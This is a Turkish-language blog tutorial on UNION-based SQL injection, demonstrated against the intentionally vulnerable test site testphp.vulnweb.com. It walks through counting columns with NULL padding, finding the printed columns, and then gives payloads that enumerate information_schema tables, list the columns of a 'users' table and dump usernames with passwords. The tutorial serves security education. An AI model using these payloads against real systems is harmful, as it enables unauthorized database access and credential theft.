1. Ana Sayfa
  2. Siber Güvenlik
  3. SQLi UNION Method
Trendlerdeki Yazı

SQLi UNION Method

0*hy71IX6_2G-C2vRd

SQLi UNION Method – Geçen yazımızda SQLi Exploration aşamasının nasıl gerçekleştiğine değinmeye çalıştık. Bundan sonra bulduğumuz zafiyeti nasıl sömürebileceğimiz yöntemlere değinmeye çalışacağız.

Hatırlayacağınız üzere geçen yazımızda UNION’un ne işe yaradığından bahsetmiştik. Kısaca peşpeşe iki veya daha fazla sorgu çalıştrabilme imkanı sunuyordu bize UNION operatörü. Fakat bazı dikkat etmemiz gereken noktalar da vardı:

→ Her SELECT ifadesi aynı sayıda kolona sahip olacak,

→ Kolonlar benze veri türlerine sahip olacaklar,

→ Her SELECT ifadesinde kolonlar aynı sırada olacaklar.

Şimdi ise SQL’in UNION operatörünü saldırılar için nasıl kullabileceğimizin üzerinde durmaya çalışacağız.


SQLi İçinde Kullanılan Yapı ve Fonksiyonlar

information_schema SQL databaselerinin metadatasının saklandığı yerdir. Veri tabanı içerisindeki ilişkilerin, tablo isimlerinin, kolon isimlerinin ve viewlerinin tutulduğu yerdir.

SQLi UNION Method
@sqlshack.com

information_schema içerisinde bulunan information_schema.tables ve information_schema.columns tuttukları veriler açısından bizim için önemlidir.

information_schema.tables : Database üzerindeki bütün tablo isimlerini tutar.

information_schema.columns : Database üzerindeki bütün kolon isimlerini tutar.

table_name: information_schema.tables tablosu içerisinde bir kolon olan table_name, tablo isimlerini bulundurur.

table_schema: table_schema de bu tablo içerisinde bulunan tablo isimlerinin ait olduğu database isimlerinin bulunduğu kolondur.

column_name: information_schema.columns tablosunda bulunan ve database üzerinde bulunan kolonların isimlerini tutan kolondur.

Daha fazla bilgi için https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ ve https://portswigger.net/web-security/sql-injection/cheat-sheet adreslerine göz atabilirsiniz.


SQLi UNION Method

http://testphp.vulnweb.com/ adresi bizim test ortamımız olmaya devam edecek bu süreçte.

http://testphp.vulnweb.com/listproducts.php?cat=1

ve

http://testphp.vulnweb.com/listproducts.php?cat=2-1

kıyaslaması ile database üzerinde çalışan sorguya müdehale edebildiğimizi biliyoruz.

SQLi varlığını biliyoruz fakat herhangi bir kolon ya da tablo ismi veya içeriği ile ilgili bilgimiz yok.

Kolon sayısı hakkında bir bilgimiz olmadığı için de UNION kulanmamız pek mümkün görünmüyor gibi. Bu durumda NULL karakteri bizim elimizi kuvvetlendiriyor. UNION yazdıktan sonra refarans sayfamıza dönene kadar NULL ekleyip sonuca ulaşmayı bekliyoruz.

NOT : Yazdığımız sorgular

http://testphp.vulnweb.com/listproducts.php?cat=1 ‘den itibaren eklenmelidir.

UNION 
SELECT NULL

1 tane NULL yazdığımızda aşağıdaki gibi bir hata mesajı ile karşılaşıyoruz.

SQLi UNION Method
SQLi UNION Method

NULL eklemeye devam edersek 11. NULL’dan sonra tekrar referans sayfamıza dönmüş oluyoruz. Buradan anlıyoruz ki üzerinde bulunduğumuz tablo 11 kolondan oluşuyor.

Referans sayfamızla kıyasladığımız zaman NULL ekleyerek ulaştığımız sayfada fazladan boş bir alan olduğunu görürüz.

referans sayfamız ve sorgu çalıştırdıktan sonra oluşan NULL çıktısı

Bu boş alan bizim yazdığımız NULL değerlerinin yazdırıldığı anlamına geliyor. Yani sorgularımızın çıktılarını alabliriz demek. Peki hangi değerleri kullanmalıyım ? NULL yerine sıralı şekilde 1,2,….,11 yazarsak bu problemi aşmış oluruz.

UNION 
SELECT 1,2,3,4,5,6,7,8,9,10,11
SQLi UNION Method

Artık hangi sayıların yazdırıldığını bildiğimize göre veri çıkarmak için 2,7,9,11’den birini kullanabiliriz.

UNION 
SELECT 1,2,3,4,5,6,table_name,8,9,10,11 FROM information_schema.tables WHERE table_schema=database()

7 yerine table_name, sorgunun sonuna da FROM information_schema.tables WHERE table_schema=database() eklediğimiz zaman artık 7 yerine aradığımız tablo isimleri gelecektir.

SQLi UNION Method

Tüm sonuçlar yerine yalnızca bizim sorgularımızın sonuçlarının dönmesi için cat=-999999 olarak değiştirebiliriz.

Users tablosundaki verilere ulaşmak için sorgumuzu table_name yerine column_name …. FROM information_schema.columns WHERE table_name=’users’ olarak değiştirip users içerisindeki kolonların isimlerine erişiyoruz.

UNION 
SELECT 1,2,3,4,5,6,column_name,8,9,10,11 FROM information_schema.columns WHERE table_name='users'
SQLi UNION Method

name ve pass kolonlarından dönen sonuçları concat ile birleştirip almak için

UNION 
SELECT 1,2,3,4,5,6,concat(name,(":YG:"),pass),8,9,10,11 FROM users

sorgusunu kullanırız. Çıktımız uname:YG:password biçiminde olacaktır.

SQLi UNION Method
Yorum Yap

Yorum Yap